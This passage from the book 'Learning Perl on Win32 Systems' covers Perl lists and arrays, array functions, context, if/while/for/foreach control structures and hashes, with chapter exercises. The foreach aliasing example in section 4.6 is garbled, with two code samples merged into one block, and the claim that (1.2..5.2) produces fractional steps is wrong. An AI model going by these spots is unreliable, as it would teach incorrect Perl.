Arrays can have any number of elements. The smallest array has no elements, while the largest array can fill all of available memory. Once again, this flexibility is in keeping with Perl's philosophy of "no unnecessary limits."

Previous: 2.10 Exercises | Learning Perl on Win32 Systems | Next: 3.2 Literal Representation
2.10 Exercises | Book Index | 3.2 Literal Representation


[Chapter 3] 3.2 Literal Representation

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

3.2 Literal Representation

A list literal (the way you represent the value of a list within your program) consists of comma-separated values enclosed in parentheses. These values form the elements of the list. For example:

(1,2,3)      # array of three values 1, 2, and 3
("fred",4.5) # two values, "fred" and 4.5

The elements of a list are not necessarily constants - they can be expressions that will be evaluated newly each time the literal is used. For example:

($a, 17)      # two values: the current value of $a, and 17
($b+$c,$d+$e) # two values

The empty list (one of no elements) is represented by an empty pair of parentheses:

() # the empty list (zero elements)

An item of the list literal can include the list constructor function, indicated by two scalar values separated by two consecutive periods. This function creates a list of values starting at the left scalar value and continuing up through the right scalar value, incrementing by one at each value. For example:

(1..5)       # same as (1, 2, 3, 4, 5)
(1.2..5.2)   # same as (1.2, 2.2, 3.2, 4.2, 5.2)
(2..6,10,12) # same as (2,3,4,5,6,10,12)
($a..$b)     # range determined by current values of $a and $b

Having the right scalar less than the left scalar results in an empty list; you can't count down by switching the order of the values. If the final value is not a whole number of steps above the initial value, the list stops just before the next value would have been outside the range:

(1.3..6.1) # same as (1.3,2.3,3.3,4.3,5.3)

List literals with lots of short text strings start to look pretty noisy with all the quotes and commas:

@a = ("fred","barney","betty","wilma"); # ugh!

Fortunately, Perl has a shortcut: the "quote-word" syntax, which creates a list from the nonwhitespace parts between the parentheses:

@a = qw(fred barney betty wilma); # better!
@a = qw(
        fred
        barney
        betty
        wilma
);                                # same thing

One use of a list literal is as arguments to the print() function introduced earlier. Elements of the list are printed out without any intervening whitespace:

print("The answer is ",$a,"\n"); # three element literal array

This statement prints "The answer is" followed by a space, the value of $a, and a newline. Stay tuned for other uses for list literals.

Previous: 3.1 What Is a List or Array? | Learning Perl on Win32 Systems | Next: 3.3 Variables
3.1 What Is a List or Array? | Book Index | 3.3 Variables


[Chapter 3] 3.3 Variables

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

3.3 Variables

An array variable holds a single list value (zero or more scalar values). Array variable names are similar to scalar variable names, differing only in the initial character, which is an at sign (@) rather than a dollar sign ($). For example:

@fred # the array variable @fred
@A_Very_Long_Array_Variable_Name
@A_Very_Long_Array_Variable_Name_that_is_different

Note that the array variable @fred is unrelated to the scalar variable $fred. Perl maintains separate namespaces for different types of things.

The value of an array variable that has not yet been assigned is (), the empty list.

An expression can refer to array variables as a whole, or it can examine and modify individual elements of the array.

Previous: 3.2 Literal Representation | Learning Perl on Win32 Systems | Next: 3.4 Array Operators and Functions
3.2 Literal Representation | Book Index | 3.4 Array Operators and Functions


[Chapter 3] 3.4 Array Operators and Functions

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

3.4 Array Operators and Functions

Array functions and operators act on entire arrays. Some return a list, which can then either be used as a value for another array function, or assigned into an array variable.

3.4.1 Assignment

Probably the most important array operator is the array assignment operator, which gives an array variable a value. It is an equal sign, just like the scalar assignment operator. Perl determines whether the assignment is a scalar assignment or an array assignment by noticing whether the assignment is to a scalar or an array variable.[1] For example:

[1] This applies to scalar or array "lvalues" as well as to simple variables.

@fred = (1,2,3); # The fred array gets a three-element literal
@barney = @fred; # now that is copied to @barney

If you assign a scalar value to an array variable, the scalar value becomes the single element of an array:

@huh = 1; # 1 is promoted to the list (1) automatically
          # that is, @huh now is (1)

An array variable name may appear in a list-literal list. When the value of the list is computed, Perl replaces the array variable name with the current values of the array, like so:

@fred = qw(one two);
@barney = (4,5,@fred,6,7);  # @barney becomes
                            # (4,5,"one","two",6,7)
@barney = (8,@barney);      # puts 8 in front of @barney
@barney = (@barney,"last"); # and a "last" at the end
# @barney is now (8,4,5,"one","two",6,7,"last")

Note that the inserted array elements are at the same level as the rest of the literals: a list cannot contain another list as an element.[2]

[2] Although a list reference is permitted as a list element, it's not really a list as a list element. Still, it works out to nearly the same thing, allowing for multidimensional arrays. See Chapter 4 of Programming Perl or perllol for more details.

If a list literal contains only variable references (not expressions), you can treat the list literal as a variable. In other words, you can use it on the left side of an assignment. Each scalar variable in the list literal takes on the corresponding value from the list on the right side of the assignment. For example:

($a,$b,$c) = (1,2,3);     # give 1 to $a, 2 to $b, 3 to $c
($a,$b) = ($b,$a);        # swap $a and $b
($d,@fred) = ($a,$b,$c);  # give $a to $d, and ($b,$c) to @fred
($e,@fred) = @fred;       # remove the first element of @fred to $e
                          # this makes @fred = ($c) and $e = $b

If the number of elements you assign does not match the number of variables to hold the values, any excess values (on the right side of the equal sign) are silently discarded, and any excess variables (on the left side of the equal sign) are given the value of undef.

An array variable appearing in the array literal list must be last, because the array variable is "greedy" and consumes all remaining values. (Well, you could put other variables after it, but they would just get undef values.)

If you assign an array variable to a scalar variable, the number assigned is the length of the array, as in:

@fred = (4,5,6); # initialize @fred
$a = @fred;      # $a gets 3, the current length of @fred

The length is also returned whenever you use an array variable name where a scalar value is needed. (In the section "Scalar and List Context" later in this chapter, we'll see that this method is called using the array name in a scalar context.) For example, to get one less than the length of the array, you can use @fred-1, because the scalar subtraction operator wants scalars for both of its operands. Notice the following:

$a = @fred;   # $a gets the length of @fred
($a) = @fred; # $a gets the first element of @fred

The first assignment is a scalar assignment, and so @fred is treated as a scalar, yielding its length. The second assignment is an array assignment (even if only one value is wanted), and thus yields the first element of @fred, silently discarding all the rest.

The value of an array assignment is itself a list value, and can be cascaded as with scalar assignments. For example:

@fred = (@barney = (2,3,4)); # @fred and @barney get (2,3,4)
@fred = @barney = (2,3,4);   # same thing

3.4.2 Array Element Access

So far, we've been treating the array as a whole, adding and removing values by doing array assignments. Many useful programs are constructed using arrays without ever accessing any specific array element. However, Perl provides a traditional subscripting operator to access an array element by numeric index.

For the subscripting operator, the array elements are numbered using sequential integers, beginning at 0,[3] and increasing by 1 for each element. The first element of the @fred array is accessed as $fred[0]. Note that the @ on the array name becomes a $ on the element reference. This is because accessing an element of the array identifies a scalar variable (part of the array), which can either be assigned to or have its current value used in an expression, like so:

[3] You can change the index value of the first element to something else (like 1). However, doing so has drastic effects, will probably confuse people maintaining your code, and might break the routines you take from other people. Thus, we highly recommend that you consider this feature unusable.

@fred = (7,8,9);
$b = $fred[0]; # give 7 to $b (first element of @fred)
$fred[0] = 5;  # now @fred = (5,8,9)

Other elements can be accessed with equal ease, as in:

$c = $fred[1];                  # give 8 to $c
$fred[2]++;                     # increment the third element of @fred
$fred[1] += 4;                  # add 4 to the second element
($fred[0],$fred[1]) = ($fred[1],$fred[0]); # swap the first two

Accessing a list of elements from the same array (as in the previous example) is called a slice, and occurs often enough so that a special representation exists for it:

@fred[0,1]                     # same as ($fred[0],$fred[1])
@fred[0,1] = @fred[1,0]        # swap the first two elements
@fred[0,1,2] = @fred[1,1,1]    # make all 3 elements like the 2nd
@fred[1,2] = (9,10);           # change the last two values to 9 and 10

Note that this slice uses an @ prefix rather than a $. This is because you are creating an array variable by selecting part of the array rather than a scalar variable accessing just one element.

Slices also work on literal lists, or any function that returns a list value:

@who = (qw(fred barney betty wilma))[2,3];
# like @x = qw(fred barney betty wilma); @who = @x[2,3];

The index values in these examples have been literal integers, but the index can also be any expression that returns a number, which is then used to select the appropriate element:

@fred = (7,8,9);
$a = 2;
$b = $fred[$a];       # like $fred[2], or the value of 9
$c = $fred[$a-1];     # $c gets $fred[1], or 8
($c) = (7,8,9)[$a-1]; # same thing using slice

Perl programs can thus have array accesses similar to many traditional programming languages.

This idea of using an expression for the subscript also works for slices. Remember, however, that the subscript for a slice is a list of values, so the expression is an array expression, rather than a scalar expression. For example:

@fred = (7,8,9); # as in previous example
@barney = (2,1,0);
@backfred = @fred[@barney];
# same as @fred[2,1,0], or ($fred[2],$fred[1],$fred[0]), or
# (9,8,7)

If you access an array element beyond the ends of the current array (that is, an index of less than 0 or greater than the last element's index), the undef value is returned without warning. For example:

@fred = (1,2,3);
$barney = $fred[7]; # $barney is now undef

Assigning a value beyond the end of the current array automatically extends the array (giving a value of undef to all intermediate values, if any). For example:

@fred = (1,2,3);
$fred[3] = "hi"; # @fred is now (1,2,3,"hi")
$fred[6] = "ho"; # @fred is now (1,2,3,"hi",undef,undef,"ho")

Assignment to an array element with a subscript of less than 0 is a fatal error, because it is probably the result of Very Bad Programming Style.

You can use $#fred to get the index value of the last element of @fred. You can even assign to this value to change the apparent length of @fred, making it grow or shrink, but such an assignment is generally unnecessary, because the array grows and shrinks automatically.

A negative subscript on an array counts back from the end. So, another way to get at the last element is with the subscript -1. The second to the last element would be -2, and so on. For example:

@fred = ("fred", "wilma", "pebbles", "dino");
print $fred[-1];        # prints "dino"
print $#fred;           # prints 3
print $fred[$#fred];    # prints "dino"

3.4.3 The push and pop Functions

One common use of an array is as a stack of information, where new values are added to and removed from the right-hand side of the list. These operations occur often enough to have their own special functions:

push(@mylist,$newvalue);  # like @mylist = (@mylist,$newvalue)
$oldvalue = pop(@mylist); # removes the last element of @mylist

The pop() function returns undef if given an empty list, rather than doing something un-Perl-like such as complaining or generating a warning message.

The push() function also accepts a list of values to be pushed. The values are pushed together onto the end of the list. For example:

@mylist = (1,2,3);
push(@mylist,4,5,6); # @mylist = (1,2,3,4,5,6)

Note that the first argument must be an array variable name - pushing and popping wouldn't make sense on a literal list.

3.4.4 The shift and unshift Functions

The push and pop functions do things to the "right" side of a list (the portion with the highest subscripts). Similarly, the unshift and shift functions perform the corresponding actions on the "left" side of a list (the portion with the lowest subscripts). Here are a few examples:

unshift(@fred,$a);       # like @fred = ($a,@fred);
unshift(@fred,$a,$b,$c); # like @fred = ($a,$b,$c,@fred);
$x = shift(@fred);       # like ($x,@fred) = @fred;
                         # with some real values
@fred = (5,6,7);
unshift(@fred,2,3,4);    # @fred is now (2,3,4,5,6,7)
$x = shift(@fred);       # $x gets 2, @fred is now (3,4,5,6,7)

As with pop(), shift() returns undef if you give it an empty array variable.

3.4.5 The reverse Function

The reverse function reverses the order of the elements of its argument, returning the resulting list. For example:

@a = (7,8,9);
@b = reverse(@a);    # gives @b the value of (9,8,7)
@b = reverse(7,8,9); # same thing

Note that the argument list is unaltered; the reverse() function works on a copy. If you want to reverse an array "in place," you'll need to assign it back into the same variable:

@b = reverse(@b); # give @b the reverse of itself

3.4.6 The sort Function

The sort function takes its arguments, and sorts them as if they were single strings in ascending ASCII order. It returns the sorted list, without altering the original list. For example:

@x = sort("small","medium","large");
               # @x gets "large","medium","small"
@y = (1,2,4,8,16,32,64);
@y = sort(@y); # @y gets 1,16,2,32,4,64,8

Note that sorting numbers does not happen numerically, but by the string values of each number (1, 16, 2, 32, and so on). In the section "Advanced Sorting" in Chapter 15, Other Data Transformation, you'll learn how to sort numerically, in descending order, by the third character of each string, or by any other method that you choose.

3.4.7 The chomp Function

The chomp function works on an array variable as well as a scalar variable. Each element of the array has its last newline removed. This function can be handy when you've read a list of lines as separate array elements, and you want to remove a newline from all of the lines at once. For example:

@stuff = ("hello\n","world\n","happy days");
chomp(@stuff); # @stuff is now ("hello","world","happy days")

Previous: 3.3 Variables | Learning Perl on Win32 Systems | Next: 3.5 Scalar and List Context
3.3 Variables | Book Index | 3.5 Scalar and List Context


[Chapter 3] 3.5 Scalar and List Context

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

3.5 Scalar and List Context

As you can see, each operator is designed to operate on some specified combination of scalars or lists, and returns either a scalar or a list. If an operator or function expects an operand to be a scalar, we say that the operand or argument is being evaluated in a scalar context. Similarly, if an operand or argument is expected to be a list value, we say that it is being evaluated in a list context.

Normally, the context is fairly insignificant. But, sometimes you get a completely different operation depending on whether you are within a scalar or a list context. For example, @fred returns the contents of the @fred array in a list context, but the length of the same array in a scalar context. These subtleties are mentioned when each operator and function is described.

A scalar value used within an array context is promoted to a single-element array.

Previous: 3.4 Array Operators and Functions | Learning Perl on Win32 Systems | Next: 3.6 <STDIN> as an Array
3.4 Array Operators and Functions | Book Index | 3.6 <STDIN> as an Array


[Chapter 3] 3.6 <STDIN> as an Array

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

3.6 <STDIN> as an Array

One previously seen operation that returns a different value in a list context is <STDIN>. As described earlier, <STDIN> returns the next line of input in a scalar context. However, in a list context, it returns all of the remaining lines up to the end-of-file. Each line is returned as a separate element of the list. For example:

@a = <STDIN>; # read standard input in a list context

If the person running the program types three lines, then hits CTRL-Z (to indicate end-of-file), the array ends up with three elements. Each element will be a string that ends in a newline, corresponding to the three newline-terminated lines entered.

Previous: 3.5 Scalar and List Context | Learning Perl on Win32 Systems | Next: 3.7 Variable Interpolation of Arrays
3.5 Scalar and List Context | Book Index | 3.7 Variable Interpolation of Arrays


[Chapter 3] 3.7 Variable Interpolation of Arrays

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

3.7 Variable Interpolation of Arrays

Like scalars, array values may be interpolated into a double-quoted string. A single element of an array will be replaced by its value, like so:

@fred = ("hello","dolly");
$y = 2;
$x = "This is $fred[1]'s place";    # "This is dolly's place"
$x = "This is $fred[$y-1]'s place"; # same thing

Note that the index expression is evaluated as an ordinary expression, as if it were outside a string. It is not variable interpolated first.

If you want to follow a simple scalar variable reference with a literal left square bracket, you need to delimit the square bracket so it isn't considered part of the array, as follows:

@fred = ("hello","dolly");  # give value to @fred for testing
$fred = "right";
# we are trying to say "this is right[1]"
$x = "this is $fred[1]";    # wrong, gives "this is dolly"
$x = "this is ${fred}[1]";  # right (protected by braces)
$x = "this is $fred"."[1]"; # right (different string)
$x = "this is $fred\[1]";   # right (backslash hides it)

Similarly, a list of values from an array variable can be interpolated. The simplest interpolation is an entire array, indicated by giving the array name (including its leading @ character). In this case, the elements are interpolated in sequence with a space character between them, as in:

@fred = ("a","bb","ccc",1,2,3);
$all = "Now for @fred here!";
            # $all gets "Now for a bb ccc 1 2 3 here!"

You can also select a portion of an array with a slice:

@fred = ("a","bb","ccc",1,2,3);
$all = "Now for @fred[2,3] here!";
            # $all gets "Now for ccc 1 here!"
$all = "Now for @fred[@fred[4,5]] here!"; # same thing

Once again, you can use any of the quoting mechanisms described earlier if you want to follow an array name reference with a literal left bracket rather than an indexing expression.

Previous: 3.6 <STDIN> as an Array | Learning Perl on Win32 Systems | Next: 3.8 Exercises
3.6 <STDIN> as an Array | Book Index | 3.8 Exercises


[Chapter 3] 3.8 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

3.8 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that reads a list of strings on separate lines and prints out the list in reverse order. If you're reading the list from the console, you'll probably need to delimit the end of the list by pressing CTRL-Z.

  2. Write a program that reads a number and then a list of strings (all on separate lines), and then prints one of the lines from the list as selected by the number.

  3. Write a program that reads a list of strings and then selects and prints a random string from the list. To select a random element of @somearray, put

         srand;

    at the beginning of your program (this initializes the random number generator), and then use

         rand(@somearray)

    where you need a random value between 0 and 1 less than the length of @somearray.

Previous: 3.7 Variable Interpolation of Arrays | Learning Perl on Win32 Systems | Next: 4. Control Structures
3.7 Variable Interpolation of Arrays | Book Index | 4. Control Structures


[Chapter 4] Control Structures

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 3.8 Exercises Chapter 4 Next: 4.2 The if/unless Statement

4. Control Structures

Contents:
Statement Blocks
The if/unless Statement
The while/until Statement
The do {} while/until Statement
The for Statement
The foreach Statement
Exercises

4.1 Statement Blocks

A statement block is a sequence of statements, enclosed in matching curly braces. It looks like this:

{
        first_statement;
        second_statement;
        third_statement;
        ...
        last_statement;
}

Perl executes each statement in sequence, from the first to the last. (Later, I'll show you how to alter this execution sequence within a block, but this is good enough for now.)

Syntactically, a block of statements is accepted in place of any single statement, but the reverse is not true.

The final semicolon on the last statement is optional. Thus, you can speak Perl with a C-accent (semicolon present) or Pascal-accent (semicolon absent). To make adding more statements at a later time easier, we usually suggest omitting the semicolon only when the block is all on one line. Contrast these two if blocks for examples of the two styles:

if ($ready) { $hungry++ }
if ($tired) {
    $sleepy = ($hungry + 1) * 2;
}

Previous: 3.8 Exercises | Learning Perl on Win32 Systems | Next: 4.2 The if/unless Statement
3.8 Exercises | Book Index | 4.2 The if/unless Statement


[Chapter 4] 4.2 The if/unless Statement

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

4.2 The if/unless Statement

Next up in order of complexity is the if statement. This construct takes a control expression (evaluated for its truth) and a block. It may optionally have an else followed by a block as well. In other words, it looks like this:

if (some_expression) {
        true_statement_1;
        true_statement_2;
        true_statement_3;
} else {
        false_statement_1;
        false_statement_2;
        false_statement_3;
}

(If you're a C or Java hacker, you should note that the curly braces are required. This eliminates the need for a "confusing dangling else" rule.)

During execution, Perl evaluates the control expression. If the expression is true, the first block (the true_statement statements above) is executed. If the expression is false, the second block (the false_statement statements above) is executed instead.

But what constitutes true and false? In Perl, the rules are slightly weird, but they give you the expected results. The control expression is evaluated for a string value in scalar context (if it's already a string, no change is made; but if it's a number, it is converted to a string[1] ). If this string is either the empty string (with a length of zero) or a string consisting of the single character 0 (the digit zero), then the value of the expression is false. Anything else is true automatically. Why such funny rules? Because they facilitate branching on an emptyish versus nonempty string, as well as on a zero versus nonzero number, without having to create two versions of interpreting true and false values. Here are some examples of true and false interpretations:

[1] Internally, this isn't quite true. But it acts as if this is what it does.

0       # converts to "0", so false
1-1     # computes to 0, then converts to "0", so false
1       # converts to "1", so true
""      # empty string, so false
"1"     # not "" or "0", so true
"00"    # not "" or "0", so true (this one is weird, watch out)
"0.000" # also true for the same reason and warning
undef   # evaluates to "", so false

Practically speaking, interpretation of values as true or false is fairly intuitive. Don't let us scare you.

Here's an example of a complete if statement:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
if ($a < 18) {
        print "So, you're not old enough to vote, eh?\n";
} else {
        print "Old enough!  Cool!  So go vote!\n";
        $voter++; # count the voters for later
}

You can omit the else block, leaving just a then part, as in:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
if ($a < 18) {
        print "So, you're not old enough to vote, eh?\n";
}

Sometimes, you want to leave off the then part and have just an else part, because saying "do that if this is false," is more natural than saying "do that if not this is true." Perl handles this case with the unless variation:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
unless ($a < 18) {
        print "Old enough!  Cool!  So go vote!\n";
        $voter++;
}

Replacing if with unless is in effect saying, "If the control expression is false, do..." (An unless can also have an else, just like an if.)

If you have more than two possible choices, add an elsif branch to the if statement, like so:

if (some_expression_one) {
        one_true_statement_1;
        one_true_statement_2;
        one_true_statement_3;
} elsif (some_expression_two) {
        two_true_statement_1;
        two_true_statement_2;
        two_true_statement_3;
} elsif (some_expression_three) {
        three_true_statement_1;
        three_true_statement_2;
        three_true_statement_3;
} else {
        all_false_statement_1;
        all_false_statement_2;
        all_false_statement_3;
}

Each expression (here, some_expression_one, some_expression_two, and some_expression_three) is computed in turn. If an expression is true, the corresponding branch is executed, and all remaining control expressions and corresponding statement blocks are skipped. If all expressions are false, the else branch is executed (if there is one). You don't have to have an else block, but having one is always a good idea. You may have as many elsif branches as you wish.

Previous: 4.1 Statement Blocks | Learning Perl on Win32 Systems | Next: 4.3 The while/until Statement
4.1 Statement Blocks | Book Index | 4.3 The while/until Statement


[Chapter 4] 4.3 The while/until Statement

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

4.3 The while/until Statement

No programming language would be complete without some form of iteration[2] (repeated execution of a block of statements). Perl can iterate using the while statement:

[2] That's why HTML is not a programming language.

while (some_expression) {
        statement_1;
        statement_2;
        statement_3;
}

To execute this while statement, Perl evaluates the control expression (some_expression in the example). If its value is true (using Perl's notion of truth), the body of the while statement is evaluated once. This step is repeated until the control expression becomes false, at which point Perl goes on to the next statement after the while loop. For example:

print "how old are you? ";
$a = <STDIN>;
chomp($a);
while ($a > 0) {
        print "At one time, you were $a years old.\n";
        $a--;
}

Sometimes it is easier to say "until something is true" rather than "while not this is true." Once again, Perl has the answer. Replacing the while with until yields the desired effect:

until (some_expression) {
        statement_1;
        statement_2;
        statement_3;
}

Note that in both the while and until forms, the body statements will be skipped entirely if the control expression is the termination value to begin with. For example, if a user enters an age less than zero for the program fragment above, Perl skips over the body of the loop.

Sometimes the control expression never lets the loop exit. This case is perfectly legal, and sometimes desired, and is thus not considered an error. For example, you might want a loop to repeat as long as you have no error, and then have some error handling code following the loop. You might use this for a program that is meant to run until the system terminates.

Previous: 4.2 The if/unless Statement | Learning Perl on Win32 Systems | Next: 4.4 The do {} while/until Statement
4.2 The if/unless Statement | Book Index | 4.4 The do {} while/until Statement


[Chapter 4] 4.4 The do {} while/until Statement

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

4.4 The do {} while/until Statement

The while/until statement you saw in the previous section tests its condition at the top of every loop, before the loop is entered. If the condition was already false to begin with, the loop won't be executed at all.

But sometimes you don't want to test the condition at the top of the loop. Instead, you want to test it at the bottom. To fill this need, Perl provides the do {} while statement, which is just like the regular while[3] statement except that it doesn't test the expression until after executing the loop once. For example:

[3] Well, this statement is not quite true; the loop control directives explained in Chapter 9, Miscellaneous Control Structures, don't work for the bottom-testing form.

do {
    statement_1;
    statement_2;
    statement_3;
} while (some_expression);

Perl executes the statements in the do block. When it reaches the end, it evaluates the expression for truth. If the expression is false, the loop is done. If it's true, then the whole block is executed one more time before the expression is once again checked.

As with a normal while loop, you can invert the sense of the test by changing do {} while to do {} until. The expression is still tested at the bottom, but its sense is reversed. For some cases, especially compound ones, this is the more natural way to write the test:

$stops = 0;
do {
    $stops++;
    print "Next stop? ";
    chomp($location = <STDIN>);
} until $stops > 5 || $location eq 'home';

Previous: 4.3 The while/until Statement | Learning Perl on Win32 Systems | Next: 4.5 The for Statement
4.3 The while/until Statement | Book Index | 4.5 The for Statement


[Chapter 4] 4.5 The for Statement

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

4.5 The for Statement

Another Perl iteration construct is the for statement, which looks suspiciously like C's or Java's for statement, and works roughly the same way. Here it is:

for ( initial_exp; test_exp; re-init_exp ) {
        statement_1;
        statement_2;
        statement_3;
}

Unraveled into forms we've seen before, this construct turns out as:

initial_exp;
while (test_exp) {
        statement_1;
        statement_2;
        statement_3;
        re-init_exp;
}

In either case, the initial_exp expression is evaluated first. This expression typically assigns an initial value to an iterator variable, but there are no restrictions on what it can contain; in fact, it may even be empty (doing nothing). Then the test_exp expression is evaluated for truth or falsehood. If the value is true, the body is executed, followed by the re-init_exp (typically, but not solely, used to increment the iterator). Perl then reevaluates the test_exp, repeating as necessary.

This example prints the numbers 1 through 10, each followed by a space:

for ($i = 1; $i <= 10; $i++) {
        print "$i ";
}

Initially, the variable $i is set to 1. Then, this variable is compared with 10, which it is indeed less than or equal to. The body of the loop (the single print statement) is executed, and then the re-init expression (the autoincrement expression $i++) is executed, changing the value in $i to 2. Because this value is still less than or equal to 10, we repeat the process until the last iteration in which the value of 10 in $i gets changed to 11. The value is then no longer less than or equal to 10, so the loop exits (with $i having a value of 11).

Previous: 4.4 The do {} while/until Statement | Learning Perl on Win32 Systems | Next: 4.6 The foreach Statement
4.4 The do {} while/until Statement | Book Index | 4.6 The foreach Statement


[Chapter 4] 4.6 The foreach Statement

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

4.6 The foreach Statement

Yet another iteration construct is the foreach statement. This statement takes a list of values and assigns them one at a time to a scalar variable, executing a block of code with each successive assignment. It looks like this:

foreach $i (@some_list) {
        statement_1;
        statement_2;
        statement_3;
}

The original value of the scalar variable is automatically restored when the loop exits; another way to say this is that the scalar variable is local to the loop.

Here's an example of a foreach:

@a = (1,2,3,4,5);
foreach $b (reverse @a) {
        print $b;
}

This program snippet prints 54321. Note that the list used by the foreach can be an arbitrary list expression, not just an array variable. (This flexibility is typical of all Perl constructs that require a list.)

You can omit the name of the scalar variable, in which case Perl pretends you have specified the $_ variable name instead. You'll find that the $_ variable is used as a default for many of Perl's operations, so you can think of it as a scratch area.[4] (All operations that use $_ by default can also use a normal scalar variable as well.) For example, the print function prints the value of $_ if no other value is specified, so the following example works like the previous one:

[4] Which means you'd better localize it in functions when we learn about them.

@a = (1,2,3,4,5);
foreach (reverse @a) {
        print;
}

See how using the implied $_ variable makes it easier? After you've learned more functions and operators that default to $_, this construct will become even more useful. This is one case where the shorter construct is more legible than the longer one.

If the list you are iterating over is made of real variables rather than some function returning a list value, then the variable being used for iteration is in fact an alias for each variable in the list instead of being merely a copy of the values. Consequently, if you change the scalar variable, you are also changing that particular element in the list that the variable is standing in for. For example:

@a = (3,5,7,9);
foreach $one (@a) {
        $one *= 3;
    $x = 17;
    @a = (3,5,7,9);
    @b = (10,20,30);
    foreach $one (@a, @b, $x) {
    $one *= 3;
    }
    # $x is now 51
    # @a is now (9,15,21,27)
    # @b is now (30,60,90);
}
# @a is now (9,15,21,27)

Notice how altering $one in fact altered each element of @a.

Previous: 4.5 The for Statement | Learning Perl on Win32 Systems | Next: 4.7 Exercises
4.5 The for Statement | Book Index | 4.7 Exercises


[Chapter 4] 4.7 Exercises

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

4.7 Exercises

See Appendix A, Exercise Answers for answers.

  1. Write a program that asks for the temperature outside, and prints "too hot" if the temperature is above 72, and "too cold" otherwise.

  2. Modify the program from the previous exercise so that it prints "too hot" if the temperature is above 75, "too cold" if the temperature is below 68, and "just right!" if it is between 68 and 75.

  3. Write a program that reads a list of numbers (on separate lines) until the number 999 is read, and then prints the total of all the numbers added together. (Be sure not to add in the 999!) For example, if you enter 1, 2, 3, and 999, the program should reply with the answer of 6 (1+2+3).

  4. Write a program that reads in a list of strings on separate lines and then prints out the list of strings in reverse order - without using reverse on the list. (Recall that <STDIN> will read a list of strings on separate lines when used in an array context.)

  5. Write a program that prints a table of numbers and their squares from 0 to 32. Try to come up with a way in which you don't need to have all the numbers from 0 to 32 in a list, and then try a way in which you do. (For nice looking output,

     printf "%5g %8g\n", $a, $b

    prints $a as a five-column number and $b as an eight-column number.)

Previous: 4.6 The foreach Statement | Learning Perl on Win32 Systems | Next: 5. Hashes
4.6 The foreach Statement | Book Index | 5. Hashes


[Chapter 5] Hashes

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book
Previous: 4.7 Exercises Chapter 5 Next: 5.2 Hash Variables

5. Hashes

Contents:
What Is a Hash?
Hash Variables
Literal Representation of a Hash
Hash Functions
Hash Slices
Exercises

5.1 What Is a Hash?

A hash[1] is like the array that we discussed earlier, in that it is a collection of scalar data, with individual elements selected by some index value. Unlike a list array, the index values of a hash are not small nonnegative integers, but instead are arbitrary scalars. These scalars (called keys) are used later to retrieve the values from the array.

[1] In older documentation, hashes were called "associative arrays," but the Perl hackers got tired of a seven-syllable word for such a common item, so we replaced it with a much nicer one-syllable word.

The elements of a hash have no particular order. Consider them instead like a deck of filing cards. The top half of each card is the key, and the bottom half is the value. Each time you put a value into the hash, a new card is created. Later when you want to modify the value, you give the key, and Perl finds the right card. So, really, the order of the cards is immaterial. In fact, Perl stores the cards (the key-value pairs) in a special internal order that makes finding a specific card easy, so Perl doesn't have to look through all the pairs to find the right one. You cannot control this order, so don't try.[2]

[2] Actually, modules like IxHash and DB file do provide some ordering, but at the cost of a performance penalty.

Previous: 4.7 Exercises | Learning Perl on Win32 Systems | Next: 5.2 Hash Variables
4.7 Exercises | Book Index | 5.2 Hash Variables


[Chapter 5] 5.2 Hash Variables

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

5.2 Hash Variables

A hash variable name is a percent sign (%) followed by a letter, followed by zero or more letters, digits, and underscores. In other words, the part after the percent is the same as that after scalar and array variable names. And, just as there is no relationship between $fred and @fred, the %fred hash variable is also unrelated to the other two.

Rather than referencing the entire hash, more commonly you create and access the hash by referring to its elements. Each element of the hash is a separate scalar variable, accessed by a string index, called the key. Elements of the hash %fred are thus referenced with $fred{$key} where $key is any scalar expression. Notice once again that accessing an element of a hash requires different notation than when you access the entire hash.

As with arrays, you create new elements merely by assigning to a hash element:

$fred{"aaa"} = "bbb"; # creates key "aaa", value "bbb"
$fred{234.5} = 456.7; # creates key "234.5", value 456.7

These two statements create two elements in the hash. Subsequent accesses to the same element (using the same key) return the previously stored value:

print $fred{"aaa"}; # prints "bbb"
$fred{234.5} += 3;  # makes it 459.7

Referencing an element that does not exist returns the undef value, just as with a missing array element or an undefined scalar variable.

Previous: 5.1 What Is a Hash? | Learning Perl on Win32 Systems | Next: 5.3 Literal Representation of a Hash
5.1 What Is a Hash? | Book Index | 5.3 Literal Representation of a Hash


[Chapter 5] 5.3 Literal Representation of a Hash

Learning Perl on Win32 Systems

Learning Perl on Win32 SystemsSearch this book

5.3 Literal Representation of a Hash

You may wish to access the hash as a whole, either to initialize it, or to copy it to another hash. Perl doesn't really have a literal representation for a hash, so instead it unwinds the hash as a list. Each pair of elements in the list (which should always have an even number of elements) defines a key and its corresponding value. This unwound representation can be assigned into another hash, which will then recreate the same hash. In other words:

@fred_list = %fred;   # @fred_list gets ("aaa","bbb","234.5",456.7)
%barney = @fred_list; # create %barney like %fred
%barney = %fred;      # a faster way to do the same
%smooth = ("aaa","bbb","234.5",456.7);
                      # create %smooth like %fred, from literal values

The order of the key-value pairs is arbitrary in this unwound representation and cannot be controlled. Even if you swap some of the values around and create the hash as a whole, the returned unwound list is still in whatever order Perl has created for efficient access to the individual elements. You should never rely on any particular ordering.

One quick use of this winding and unwinding is to copy a hash value to another hash variable:

%copy = %original; # copy from %original to %copy

And you can construct a hash with keys and values swapped using the reverse operator, which works magically well here:

%backwards = reverse %normal;

